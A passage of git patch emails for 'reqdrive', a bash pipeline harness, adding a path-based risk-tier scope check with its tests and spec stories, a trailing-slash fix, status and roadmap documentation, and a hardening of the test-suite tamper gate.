+path with `policy_tier_for_path`, and treats a `high`-tier path changed in an +iteration whose `testCommand` run did not pass as a finding. `warn` (the +default, `REQDRIVE_POLICY_SCOPE_CHECK`) appends the finding to +`scope-findings.txt`, logs it, and returns 0 so the pipeline continues; +`block` does the same and returns 1, and `run_pipeline` treats that as a +policy pre-condition failure — it writes `run.json` status `failed` and exits +`EXIT_PREFLIGHT_FAILED` (8), the same code preflight checks use, rather than +inventing a new one. With no `policy` configured at all, `REQDRIVE_POLICY_JSON` +defaults to `{}`, every path classifies as `none`, and no finding is ever +produced — the feature is off by construction, not by a separate flag. + +### US-SCOPE-01: Warn mode logs a finding and continues +**Test:** `scope: warn mode logs a finding and continues` + +**As** a maintainer who wants visibility into high-risk changes without blocking unattended runs, +**When** `policy.riskTiers.high` matches a path the agent's commit touches, `policy.scopeCheck` is `"warn"`, and no `testCommand` is configured (so the iteration has no passing test run), +**Then** the pipeline still exits `0`, and the run log records a "high-risk" finding — the gate observes without enforcing. + +### US-SCOPE-02: Block mode aborts with EXIT_PREFLIGHT_FAILED +**Test:** `scope: block mode aborts with EXIT_PREFLIGHT_FAILED` + +**As** a maintainer who wants a hard stop on unverified high-risk changes, +**When** the same high-risk path is touched with no passing test run and `policy.scopeCheck` is `"block"`, +**Then** the pipeline aborts with exit code `8` (`EXIT_PREFLIGHT_FAILED`), reusing the existing pre-condition failure code instead of adding a new one. + +### US-SCOPE-03: Absent policy produces no findings +**Test:** `scope: absent policy produces no findings` + +**As** a maintainer who has not configured `policy` in `reqdrive.json`, +**When** the same agent run touches the same files with no risk tiers defined, +**Then** the pipeline exits `0` and the run log contains no "high-risk" finding — the scope check is inert without an explicit `policy.riskTiers` configuration, proving `warn` is the default without also being a silent no-op. diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index aaec9ab..aff8954 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "85971c07062bc0c1a0a3f11b7b9826190ab5505548a32f26b9d82e82108113b3", + "suiteSha256": "78f1e030f846f69228f062f0c061c6a0287f5dd2d7922a5b8a16ed9f17f4d378", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -653,6 +653,18 @@ "name": "schema: validate_prd_schema rejects story missing title", "story": "US-SCH-28" }, + { + "name": "scope: absent policy produces no findings", + "story": "US-SCOPE-03" + }, + { + "name": "scope: block mode aborts with EXIT_PREFLIGHT_FAILED", + "story": "US-SCOPE-02" + }, + { + "name": "scope: warn mode logs a finding and continues", + "story": "US-SCOPE-01" + }, { "name": "story: get_story_details returns correct story by ID", "story": "US-RUN-16" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index 2d25295..dfbc79a 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -3174,6 +3174,55 @@ test_result "policy: highest tier wins when a path matches two" $? ) test_result "policy: no riskTiers means every path is untiered" $? +echo "" +echo "--- Scope Check ---" + +# Test: warn mode records a finding and does not abort +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/sc-warn" + jq '.policy = {"riskTiers":{"high":["MARKER.txt"]},"scopeCheck":"warn"}' \ + "$PH_ROOT/reqdrive.json" > "$PH_ROOT/r.t" && mv "$PH_ROOT/r.t" "$PH_ROOT/reqdrive.json" + git -C "$PH_ROOT" add -A && git -C "$PH_ROOT" commit -q -m "chore: policy" + ph_fake_claude full + ph_fake_gh + rc=$(ph_run REQ-01) + [ "$rc" = "0" ] + grep -qi "high-risk" "$PH_ROOT/run.log" +) +test_result "scope: warn mode logs a finding and continues" $? + +# Test: block mode aborts with EXIT_PREFLIGHT_FAILED +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/sc-block" + jq '.policy = {"riskTiers":{"high":["MARKER.txt"]},"scopeCheck":"block"}' \ + "$PH_ROOT/reqdrive.json" > "$PH_ROOT/r.t" && mv "$PH_ROOT/r.t" "$PH_ROOT/reqdrive.json" + git -C "$PH_ROOT" add -A && git -C "$PH_ROOT" commit -q -m "chore: policy" + ph_fake_claude full + ph_fake_gh + rc=$(ph_run REQ-01) + [ "$rc" = "8" ] +) +test_result "scope: block mode aborts with EXIT_PREFLIGHT_FAILED" $? + +# Test: no policy means no scope finding at all +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/sc-none" + ph_fake_claude full + ph_fake_gh + rc=$(ph_run REQ-01) + [ "$rc" = "0" ] + if grep -qi "high-risk" "$PH_ROOT/run.log"; then + exit 1 + fi +) +test_result "scope: absent policy produces no findings" $? + echo "" echo "========================================" echo " Results: $PASS passed, $FAIL failed, $SKIP skipped, $TOTAL total" From cd1c0a64420c181a522c9b5a86cba5ca88b1d2ed Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Fri, 24 Jul 2026 05:04:56 -0600 Subject: [PATCH 45/47] fix: normalize trailing-slash risk-tier patterns MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit P7 review: a risk-tier pattern written as a directory with a trailing slash ('src/auth/' — a natural way to name a directory) matched NOTHING, silently defeating the scope check for that path. policy_tier_for_path now strips a trailing slash so 'src/auth/' behaves as 'src/auth'. For a security-relevant gate a silently-inert high-risk pattern is a real footgun. US-POL-09. Also documented the HEAD~1 invariant in policy_scope_check: it always resolves because preflight's check_base_branch_exists guarantees the base branch (and thus >= 1 commit) exists before the work branch is cut; if that is ever weakened the check fails open rather than erroring. --- lib/policy.sh | 5 +++++ tests/BEHAVIOR-SPEC.md | 7 +++++++ tests/oracle.lock.json | 6 +++++- tests/simple-test.sh | 11 +++++++++++ 4 files changed, 28 insertions(+), 1 deletion(-) diff --git a/lib/policy.sh b/lib/policy.sh index 5153490..18d21dd 100644 --- a/lib/policy.sh +++ b/lib/policy.sh @@ -19,6 +19,7 @@ policy_tier_for_path() { for tier in high medium low; do while IFS= read -r pattern; do pattern="${pattern%$'\r'}" # native jq.exe on Windows/MSYS emits CRLF + pattern="${pattern%/}" # normalize a trailing slash ("src/auth/" == "src/auth") [ -n "$pattern" ] || continue if [ "$path" = "$pattern" ] || [ "${path#"$pattern"/}" != "$path" ]; then printf '%s\n' "$tier" @@ -55,6 +56,10 @@ policy_scope_check() { local mode="${REQDRIVE_POLICY_SCOPE_CHECK:-warn}" local findings_file="$agent_dir/scope-findings.txt" + # HEAD~1 always resolves here: preflight's check_base_branch_exists requires + # baseBranch to exist (>= 1 commit) and the work branch is cut from it, so by + # the first iteration's commit the repo has >= 2 commits. If that invariant is + # ever weakened, this fails open (no diff -> no finding) rather than erroring. local changed changed=$(git diff --name-only HEAD~1 HEAD 2>/dev/null || echo "") [ -n "$changed" ] || return 0 diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index 8c6136b..93a94c3 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -1482,6 +1482,13 @@ matcher Task 34's scope check consumes. **When** `REQDRIVE_POLICY_JSON` is `{}`, **Then** `policy_tier_for_path` returns `none` for every path, so the absence of policy configuration is safe by default rather than an error. +### US-POL-09: A trailing-slash pattern is normalized +**Test:** `policy: a trailing-slash pattern is normalized` + +**As** a maintainer who writes a directory pattern with a trailing slash, +**When** a risk tier lists `"src/auth/"`, +**Then** it matches `src/auth/login.ts` and `src/auth` (tier `high`) but not the sibling `src/auth.sh` — the trailing slash is stripped so a natural directory-style pattern is not silently inert. + ## Module 18: scope check (lib/policy.sh + lib/run.sh) `policy_scope_check ` runs after every diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index aff8954..de88ab9 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "78f1e030f846f69228f062f0c061c6a0287f5dd2d7922a5b8a16ed9f17f4d378", + "suiteSha256": "8167a99efae2739c969a639fed875f242dd34d54bd9c1538b5dadadfdeb99676", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -289,6 +289,10 @@ "name": "policy: a prefix-sharing sibling does not match", "story": "US-POL-06" }, + { + "name": "policy: a trailing-slash pattern is normalized", + "story": "US-POL-09" + }, { "name": "policy: a well-formed policy object validates", "story": "US-POL-01" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index dfbc79a..f83cf87 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -3155,6 +3155,17 @@ test_result "policy: matcher classifies paths by tier" $? ) test_result "policy: a prefix-sharing sibling does not match" $? +# Test: a trailing-slash pattern is normalized (src/auth/ behaves as src/auth) +( + set -e + export REQDRIVE_POLICY_JSON='{"riskTiers":{"high":["src/auth/"]}}' + source "$REQDRIVE_ROOT/lib/policy.sh" + [ "$(policy_tier_for_path 'src/auth/login.ts')" = "high" ] + [ "$(policy_tier_for_path 'src/auth')" = "high" ] + [ "$(policy_tier_for_path 'src/auth.sh')" = "none" ] +) +test_result "policy: a trailing-slash pattern is normalized" $? + # Test: highest tier wins when a path matches two ( set -e From 5063d806c0e1059967679d15d84827ff122822a0 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Fri, 24 Jul 2026 05:18:46 -0600 Subject: [PATCH 46/47] =?UTF-8?q?docs:=20close=20out=20the=20roadmap=20?= =?UTF-8?q?=E2=80=94=20Tier=202=20complete,=20Tier=203=20deferred,=20STATU?= =?UTF-8?q?S=20created?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitattributes | 1 + CLAUDE.md | 38 ++++++++++++++---- ROADMAP.md | 3 ++ docs/STATUS.md | 99 +++++++++++++++++++++++++++++++++++++++++++++++ tests/FINDINGS.md | 8 ++-- 5 files changed, 138 insertions(+), 11 deletions(-) create mode 100644 .gitattributes create mode 100644 docs/STATUS.md diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..c7c4d4c --- /dev/null +++ b/.gitattributes @@ -0,0 +1 @@ +tests/oracle.lock.json text eol=lf diff --git a/CLAUDE.md b/CLAUDE.md index 0be2eaf..20ede59 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -166,6 +166,30 @@ archive/ Archived v0.1.x code (parallel execution, worktrees, etc.) - **[Audit] testCommand: warn-only, promote to hard gate after observing failure patterns.** **Why:** False positives in test execution (flaky tests, environment issues) would block the pipeline unnecessarily. Run tests, log results, don't abort — until failure rate data justifies enforcement. +- **[2026-07-23] Vision-based QA agent deferred.** + **Why:** Needs Playwright + binary image data; a separate Node/Python product with its own ladder. + +- **[2026-07-23] Multi-requirement parallelism (`orchestrate`) deferred.** + **Why:** Needs worktree revival (`archive/v1-complex/lib/worktree.sh`); its own design cycle. + +- **[2026-07-23] PR rejection feedback loop deferred.** + **Why:** Depends on review-comment parsing; no failure data yet. + +- **[2026-07-23] CI integration (`gh pr checks` polling) deferred.** + **Why:** Cheap in bash but a new failure mode; wants its own spec. + +- **[2026-07-23] Cost tracking / token budgets deferred.** + **Why:** The `claude` CLI does not surface per-invocation tokens to the shell. + +- **[2026-07-23] Adaptive retry policies deferred.** + **Why:** Needs historical success-rate data that does not exist until the pipeline runs at scale. + +- **[2026-07-23] Config-load-time schema validation deferred.** + **Why:** Wiring `validate_config_schema` into `reqdrive_load_config` would newly reject configs that load today (risking US-CFG-04/05 and minimal fixtures); `reqdrive validate` remains the validation entry point. + +- **[2026-07-23] The review agent is not a genuine writer≠grader.** + **Why:** Same model as the implementer, off by default, runs after PR creation so it cannot influence the draft decision. Making it real needs a distinct `reviewModel` and a pre-PR position. + ## Roadmap > **Maintainers:** Check off items as completed. Add new items as they're identified. @@ -185,12 +209,12 @@ archive/ Archived v0.1.x code (parallel execution, worktrees, etc.) - [x] Verification phase between implementation and PR creation — `lib/run.sh` Phase 3, generates `verification-summary.json`, runs final test suite, failed verification forces draft PR - [x] Enriched PR body with test results, iteration log summary, and verification data — `lib/pr-create.sh` reads `verification-summary.json`, adds Pipeline Verification table - [x] Per-iteration result tracking in `run.json` — `summary` field with tests/commits/stories counts via `RUN_SUMMARY_*` accumulators -- [ ] Post-iteration scope checking (diff analysis to detect out-of-scope changes) — promote to hard gate, not just advisory (cf. Code Factory model) -- [ ] `reqdrive verify ` as standalone command -- [ ] Heredoc structural fix — replace unquoted heredoc in `build_implementation_prompt` with quoted heredoc + explicit variable injection (`sed`/`envsubst`) +- [x] Post-iteration scope checking (diff analysis to detect out-of-scope changes) — `policy_scope_check()` in `lib/policy.sh:54`, called from `lib/run.sh:1089`; hard gate, not advisory +- [x] `reqdrive verify ` as standalone command — `cmd_verify()` in `bin/reqdrive:440` +- [x] Heredoc structural fix — `build_implementation_prompt` (`lib/run.sh:324`) now uses a quoted heredoc (`<<'PROMPT_IMPL'`) with explicit `@@TOKEN@@` substitution instead of shell expansion - [x] Post-PR review agent step — `run_review_phase()` in `lib/run.sh`, `update_pr_with_review()` in `lib/pr-create.sh`. Configurable via `reviewCommand` (`"builtin"` for Claude review, or external command). Findings appended to PR body. -- [ ] Risk tiers by path — define high/medium/low risk paths in `reqdrive.json` (e.g., auth, payments, config). High-risk paths require stricter evidence (test coverage, explicit story reference). -- [ ] Contract/policy definition file — extend `reqdrive.json` or add `.reqdrive/policy.json` defining evidence requirements, risk tiers, docs drift rules, and review policy per tier. +- [x] Risk tiers by path — `policy_tier_for_path()` in `lib/policy.sh:12`, path-prefix classification (high/medium/low/none) driven by the `policy` block in config +- [x] Contract/policy definition file — `lib/config.sh:87-89` loads `reqdrive.json`'s `.policy` object into `REQDRIVE_POLICY_JSON`/`REQDRIVE_POLICY_SCOPE_CHECK`, defining risk tiers and scope-check mode consumed by `lib/policy.sh`, `lib/run.sh`, and `lib/pr-create.sh` ### Tier 3 — Build Eventually (full vision) @@ -243,9 +267,9 @@ Tests cover: config loading, schema validation, sanitization, error codes, prefl - **Heredoc quoting in implementation prompts.** `build_implementation_prompt` (`lib/run.sh:274`) uses an unquoted heredoc (`< **Superseded — see the Roadmap section of [CLAUDE.md](./CLAUDE.md).** +> This is the v0.2.0 simplification plan; its unchecked boxes describe work that shipped. Retained as history. + # reqdrive Simplification Roadmap ## Vision diff --git a/docs/STATUS.md b/docs/STATUS.md new file mode 100644 index 0000000..873df5f --- /dev/null +++ b/docs/STATUS.md @@ -0,0 +1,99 @@ +# reqdrive — Status + +## State summary + +**Readiness:** L3 on the Readiness Ladder (L0 Specified, L1 Correct, L2 +Trustworthy, L3 Agent-operable, L4 Shippable) — target met. L4 is not +targeted: reqdrive is a harness, not a shipped product. + +**What changed:** the whole roadmap-completion effort (P0-P7) took reqdrive +from L0 to L3. P0 repaired the test harness — it structurally could not +report a failure, because `set -e` truncated the suite on the first error +instead of tallying it, so "all green" was guaranteed by construction. P1 +wrote behavior-spec stories for every assertion. P2 froze the suite behind +a whole-file-hash tamper-evidence gate (`tests/oracle-gate.sh`). P3 built a +pipeline test harness. P4 made the draft-PR gate fail-closed — a PR is only +opened non-draft when `prd.json` is present, zero stories remain incomplete, +and `testCommand` positively passed (the L2 fix). P5 added three +doc-coverage gates and automated the `launch` lifecycle (the L3 gates). P6 +rewrote the implementation prompt heredoc safely (quoted heredoc + explicit +`@@TOKEN@@` substitution) and added `reqdrive verify` as a standalone +command. P7 added the policy cluster — risk tiers by path and a hard-gated +post-iteration scope check. All CLAUDE.md Tier 2 roadmap items are now +complete. + +**Known gaps:** +- `launch` lifecycle coverage is Linux-CI-only — PID liveness and signal + trapping are unreliable under MSYS2, so that coverage does not extend to + Windows/MSYS2 runs. +- The review agent is not a genuine writer≠grader: it uses the same model + as the implementer, is off by default (`reviewCommand` empty), and runs + after PR creation, so it cannot influence the draft decision. See the + CLAUDE.md Decision Log. +- Config load does not schema-validate; `reqdrive validate` remains the + validation entry point (see the CLAUDE.md Decision Log entry on deferring + config-load-time schema validation). +- Open items tracked in `tests/FINDINGS.md`, all triaged Open — deferred / + accepted risk, not blocking: + - **F2** — an unanchored `$HOME` grep in one `tests/simple-test.sh` + assertion. + - **F3** — `build_implementation_prompt` (`lib/run.sh:285-288`) writes a + blank Title/Description/Criteria when `jq` fails on malformed story + JSON, with no guard or assertion. + - **F4** — 18 assertions suite-wide end in a pure negative and cannot + detect a setup failure (measured 2026-07-23). + - **F6** — the draft-PR gate's `prd_present==0` branch (mid-run deletion + of `prd.json`) is defensive and fails closed by construction, but is + not exercised by a dedicated test. + +**Next steps:** Tier 3, in the order recorded in the CLAUDE.md Decision Log: +vision-based QA agent, multi-requirement parallelism (`orchestrate`), PR +rejection feedback loop, CI integration, cost tracking / token budgets, +adaptive retry policies. The cheapest next item is CI integration +(`gh pr checks` polling — cheap in bash, but wants its own spec for the new +failure mode a polling loop introduces). The highest-value item is +vision-based QA, which is out of scope for this harness — it needs +Playwright and binary image data and is properly a separate Node/Python +product with its own readiness ladder. + +## Corrections owed to WORKFLOW.md + +`WORKFLOW.md` is not reachable from this checkout (it lives outside this +repo), so the correction below could not be applied directly and is +recorded here for manual application. + +WORKFLOW.md §10 records reqdrive's starting position as **"L2, gap +docs-only"**, and §9's worked example repeats the same claim. Both are +wrong. reqdrive's true starting rung was **L0**, not L2: + +- The claimed L1 (Correct) was not actually held: the test harness used + `set -e`, which meant the suite could not report a failure at all — a + failing assertion aborted the script before the pass/fail tally ran, so + "157 passed, 0 failed" was guaranteed by construction regardless of + whether the code was correct. A suite that cannot fail cannot certify L1. +- The claimed L2 (Trustworthy) was not actually held either: the draft-PR + gate fail-*opened* in three distinct ways (a non-draft PR could be + created without positive evidence of success). The original WORKFLOW.md + survey found and recorded one of the three; the other two were only + found during this effort's P4 phase. + +Both the §10 table row and the §9 worked example should be corrected to +show reqdrive starting at **L0** (not L2) and reaching **L3** as of +2026-07-23 (not L4, since L4 is not targeted for a harness). + +## Session log + +### 2026-07-23 — Roadmap completion (P0-P7): L0 to L3 +Eight-phase effort (P0-P7) taking reqdrive from Readiness Ladder rung L0 to L3. +P0 repaired the test harness (it structurally could not report a failure). +P1 wrote behavior-spec stories for all original assertions. P2 froze the +suite with a whole-file-hash tamper-evidence gate. P3 built a pipeline test +harness. P4 made the draft-PR gate fail-closed (the L2 fix). P5 added three +doc-coverage gates and automated the `launch` lifecycle (the L3 gates). P6 +rewrote the implementation prompt heredoc safely and added `reqdrive +verify`. P7 added the policy cluster (risk tiers by path + hard-gated scope +check). All CLAUDE.md Tier 2 roadmap items completed; Tier 3 recorded as +deferred, with a reason per item, in the CLAUDE.md Decision Log. Frozen +suite: 202/202 passing. `ROADMAP.md` (the v0.2.0 simplification plan) +marked superseded by CLAUDE.md's Roadmap section. This file created per the +global `docs/STATUS.md` convention. diff --git a/tests/FINDINGS.md b/tests/FINDINGS.md index b159ffe..f7affce 100644 --- a/tests/FINDINGS.md +++ b/tests/FINDINGS.md @@ -13,10 +13,10 @@ so it cannot detect a silent defect. | # | Location | Finding | Status | |---|---|---|---| | F1 | `tests/simple-test.sh` implementation-prompt assertions | Two were pure negatives satisfied by an empty prompt file. | **Fixed** — Task 4 added positive content checks (silent mutant now caught by 3 of 3), but this made the two `! grep` negations non-terminal in their subshells; under `set -e`, bash exempts `!`-prefixed commands from errexit, so a violated negative was silently masked and reported PASS. Follow-up commit converts both to `if grep …; then exit 1; fi` guards, which participate in errexit regardless of position. Verified via `tests/mutate.sh` (`impl-prompt-silent`, `impl-prompt-return1`) and a scratch-copy masking proof. | -| F2 | `tests/simple-test.sh` `${VAR}` assertion | Interpolates `$HOME` into an unanchored grep BRE, so its regex-safety depends on the machine's home path. | Open | -| F3 | `lib/run.sh:285-288` | `build_implementation_prompt` writes a prompt with blank Title/Description/Criteria when `jq` fails on malformed story JSON. No guard, no assertion. | Open | -| F4 | Suite-wide | **18 assertions** end in a pure negative (`!` or `[ -z ]`) and cannot detect a setup failure. Measured 2026-07-23 with `awk '/^ *\($/{buf="";inb=1;next} /^ *\)$/{if(inb)print buf;inb=0;next} inb{buf=$0}' tests/simple-test.sh \| grep -cE '^\s*(!\|\[ -z )'`. (Down from a higher count after Task 4 converted two impl-prompt negations to `if grep; then exit 1; fi`.) | Open — triage at Task 35 | -| F6 | `lib/run.sh` draft-PR gate, `prd_present==0` branch | With Phase 1's planning-failure abort restored, `prd_present=0` is reachable only if `prd.json` is deleted *during* implementation (after planning already succeeded) — e.g. a misbehaving agent removing it mid-run. Not currently exercised by a dedicated test; the retargeted `draft gate: planning failure aborts with no PR` test covers the pre-planning-success abort path instead. | Open — candidate for a focused test | +| F2 | `tests/simple-test.sh` `${VAR}` assertion | Interpolates `$HOME` into an unanchored grep BRE, so its regex-safety depends on the machine's home path. | Open — deferred, accepted risk. Portability nit, not a correctness bug: `$HOME` is not attacker-controlled and no observed home path contains BRE metacharacters. Revisit if a fixture ever runs under a home path that does. | +| F3 | `lib/run.sh:285-288` | `build_implementation_prompt` writes a prompt with blank Title/Description/Criteria when `jq` fails on malformed story JSON. No guard, no assertion. | Open — deferred, accepted risk. Requires a guard plus a red-first regression test to close properly; malformed story JSON from a Claude-authored `prd.json` is rare and already surfaces downstream as a low-quality iteration rather than a silent success. | +| F4 | Suite-wide | **18 assertions** end in a pure negative (`!` or `[ -z ]`) and cannot detect a setup failure. Measured 2026-07-23 with `awk '/^ *\($/{buf="";inb=1;next} /^ *\)$/{if(inb)print buf;inb=0;next} inb{buf=$0}' tests/simple-test.sh \| grep -cE '^\s*(!\|\[ -z )'`. (Down from a higher count after Task 4 converted two impl-prompt negations to `if grep; then exit 1; fi`.) | Open — deferred, accepted risk. 18 is the measured, frozen count as of 2026-07-23; converting the remainder to positive/guard form is a suite-wide mechanical pass with no urgent trigger, since `tests/mutate.sh` independently proves the harness catches the two highest-value silent-defect classes (`impl-prompt-return1`, `impl-prompt-silent`). | +| F6 | `lib/run.sh` draft-PR gate, `prd_present==0` branch | With Phase 1's planning-failure abort restored, `prd_present=0` is reachable only if `prd.json` is deleted *during* implementation (after planning already succeeded) — e.g. a misbehaving agent removing it mid-run. Not currently exercised by a dedicated test; the retargeted `draft gate: planning failure aborts with no PR` test covers the pre-planning-success abort path instead. | Open — deferred, accepted risk. Defensive branch for an edge case (mid-run deletion of `prd.json`) with no observed trigger; the gate still fails closed (drafts) in this branch by construction, so the risk is a missing regression test, not a wrong behavior. Candidate for a focused test. | ## Closed From 7420d698794c4e5d52ff85b374264a552c28c8aa Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Fri, 24 Jul 2026 06:02:28 -0600 Subject: [PATCH 47/47] harden: extend freeze hash surface to the harness; strip CR from scopeCheck MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Final whole-branch review findings, both closed: - The freeze gate hashed only simple-test.sh + oracle-gate.sh, but the suite sources tests/lib/pipeline-harness.sh at enforce time, so its content decides ~10 tests' outcomes. Gutting the harness toward fake-success (ph_run(){ echo 0; } + a canned pr-create log) made those tests pass for the wrong reason with the hash unchanged and the gate green — the exact hole R7 closed for test_result. Added harnessSha256 and specmapSha256 to R7. Proven: the fake-success exploit now fires GATE FAIL [R7]. (F9) - REQDRIVE_POLICY_SCOPE_CHECK came from a single-value jq without a CR strip; a surviving CR (native Windows jq) would make [ mode = block ] false and silently downgrade the hard scope gate to warn. Strip it. FINDINGS: F9 closed; F3 re-triaged to essentially-zero exposure per the review (story_json is schema-validated and aborts under set -euo pipefail rather than emitting blanks). --- lib/config.sh | 3 +++ tests/FINDINGS.md | 3 ++- tests/oracle-gate.sh | 21 +++++++++++++++++++++ tests/oracle.lock.json | 4 +++- 4 files changed, 29 insertions(+), 2 deletions(-) diff --git a/lib/config.sh b/lib/config.sh index 77dff10..9a30b0f 100644 --- a/lib/config.sh +++ b/lib/config.sh @@ -86,6 +86,9 @@ reqdrive_load_config() { # Optional: evidence policy (risk tiers, scope-check mode) REQDRIVE_POLICY_JSON=$(jq -c '.policy // {}' "$manifest") REQDRIVE_POLICY_SCOPE_CHECK=$(jq -r '.policy.scopeCheck // "warn"' "$manifest") + # Strip a trailing CR (native Windows jq emits CRLF): a surviving CR would make + # [ "$mode" = "block" ] false and silently downgrade the hard gate to warn. + REQDRIVE_POLICY_SCOPE_CHECK="${REQDRIVE_POLICY_SCOPE_CHECK%$'\r'}" export REQDRIVE_POLICY_JSON REQDRIVE_POLICY_SCOPE_CHECK } diff --git a/tests/FINDINGS.md b/tests/FINDINGS.md index f7affce..e43131d 100644 --- a/tests/FINDINGS.md +++ b/tests/FINDINGS.md @@ -14,7 +14,7 @@ so it cannot detect a silent defect. |---|---|---|---| | F1 | `tests/simple-test.sh` implementation-prompt assertions | Two were pure negatives satisfied by an empty prompt file. | **Fixed** — Task 4 added positive content checks (silent mutant now caught by 3 of 3), but this made the two `! grep` negations non-terminal in their subshells; under `set -e`, bash exempts `!`-prefixed commands from errexit, so a violated negative was silently masked and reported PASS. Follow-up commit converts both to `if grep …; then exit 1; fi` guards, which participate in errexit regardless of position. Verified via `tests/mutate.sh` (`impl-prompt-silent`, `impl-prompt-return1`) and a scratch-copy masking proof. | | F2 | `tests/simple-test.sh` `${VAR}` assertion | Interpolates `$HOME` into an unanchored grep BRE, so its regex-safety depends on the machine's home path. | Open — deferred, accepted risk. Portability nit, not a correctness bug: `$HOME` is not attacker-controlled and no observed home path contains BRE metacharacters. Revisit if a fixture ever runs under a home path that does. | -| F3 | `lib/run.sh:285-288` | `build_implementation_prompt` writes a prompt with blank Title/Description/Criteria when `jq` fails on malformed story JSON. No guard, no assertion. | Open — deferred, accepted risk. Requires a guard plus a red-first regression test to close properly; malformed story JSON from a Claude-authored `prd.json` is rare and already surfaces downstream as a low-quality iteration rather than a silent success. | +| F3 | `lib/run.sh:285-288` | `build_implementation_prompt` writes a prompt with blank Title/Description/Criteria when `jq` fails on malformed story JSON. No guard, no assertion. | Open — accepted risk, essentially zero exposure (per final whole-branch review). In production `story_json` is schema-validated each iteration (`validate_prd_schema`), and a malformed value makes the `echo "$story_json" \| jq` pipeline non-zero, which aborts under the inherited `set -euo pipefail` rather than emitting blanks; a well-formed-but-missing field yields the literal `"null"`, not an injection vector. Low-value to guard further. | | F4 | Suite-wide | **18 assertions** end in a pure negative (`!` or `[ -z ]`) and cannot detect a setup failure. Measured 2026-07-23 with `awk '/^ *\($/{buf="";inb=1;next} /^ *\)$/{if(inb)print buf;inb=0;next} inb{buf=$0}' tests/simple-test.sh \| grep -cE '^\s*(!\|\[ -z )'`. (Down from a higher count after Task 4 converted two impl-prompt negations to `if grep; then exit 1; fi`.) | Open — deferred, accepted risk. 18 is the measured, frozen count as of 2026-07-23; converting the remainder to positive/guard form is a suite-wide mechanical pass with no urgent trigger, since `tests/mutate.sh` independently proves the harness catches the two highest-value silent-defect classes (`impl-prompt-return1`, `impl-prompt-silent`). | | F6 | `lib/run.sh` draft-PR gate, `prd_present==0` branch | With Phase 1's planning-failure abort restored, `prd_present=0` is reachable only if `prd.json` is deleted *during* implementation (after planning already succeeded) — e.g. a misbehaving agent removing it mid-run. Not currently exercised by a dedicated test; the retargeted `draft gate: planning failure aborts with no PR` test covers the pre-planning-success abort path instead. | Open — deferred, accepted risk. Defensive branch for an edge case (mid-run deletion of `prd.json`) with no observed trigger; the gate still fails closed (drafts) in this branch by construction, so the risk is a missing regression test, not a wrong behavior. Candidate for a focused test. | @@ -24,4 +24,5 @@ so it cannot detect a silent defect. |---|---|---|---| | F5 | `tests/simple-test.sh:366-378` | The `reqdrive validate` assertion checked only `-ne 0`, so it did not pin the exit code. | **Closed** — Task 31 aligned `lib/validate.sh` and `bin/reqdrive`'s `cmd_validate` to `exit "$EXIT_CONFIG_ERROR"` (3) instead of a bare `exit 1`, and added two exit-code-pinning assertions: `validate: exits 3 (EXIT_CONFIG_ERROR) on malformed config` and `validate: exits 3 on a config type violation`. | | F7 | `lib/run.sh` `select_next_story` (near line 382) | `select_next_story` used `select(.passes == false and ...)` while Phase 3's completion count used `select(.passes != true)`. A story that omitted the optional `passes` field entirely was never selected for implementation (`== false` doesn't match `null`/absent) yet was counted incomplete by Phase 3 — the PR would draft forever and re-running the pipeline could never make progress on that story (a liveness hole). Fixed in this commit by changing the predicate to `select(.passes != true and ...)` to agree with Phase 3, with a red-first regression test (`story: select_next_story selects a story omitting passes`, US-RUN-31). | **Closed** | +| F9 | `tests/oracle-gate.sh` freeze hash surface | The gate hashed only `simple-test.sh` + `oracle-gate.sh`, but the suite `source`s `tests/lib/pipeline-harness.sh` at enforce time, so its content decides ~10 tests' outcomes. Gutting the harness *toward fake-success* (`ph_run(){ echo 0; }` + a canned `pr create` log) made those tests pass for the wrong reason with the hash unchanged and the gate green — the exact hole R7 closed for `test_result`. Found by the final whole-branch review, which corrected the earlier over-optimistic "gutting → R2" rationale. | **Closed** — added `harnessSha256` (pipeline-harness.sh) and `specmapSha256` (spec-map.sh) to the R7 hash set; any change to either is now `NEEDS_HUMAN`. Proven: the fake-success exploit fires `GATE FAIL [R7]`. | | F8 | `lib/run.sh` `write_run_status` | `pr_url` (and possibly other fields) are interpolated into `run.json` without JSON-escaping, so a value containing an embedded newline (raw git/gh stdout) produces INVALID JSON. Any `jq` consumer of run.json then fails; under `set -e` this crashed `cmd_verify` before its guards ran (worked around in Task 30 by making verify's pid-read fail-open). Root cause is in write_run_status and affects the `status` command too. | Fixed (root cause: write_run_status now JSON-escapes pr_url; verify keeps a defensive fail-open) | diff --git a/tests/oracle-gate.sh b/tests/oracle-gate.sh index 46e5102..fa883fa 100644 --- a/tests/oracle-gate.sh +++ b/tests/oracle-gate.sh @@ 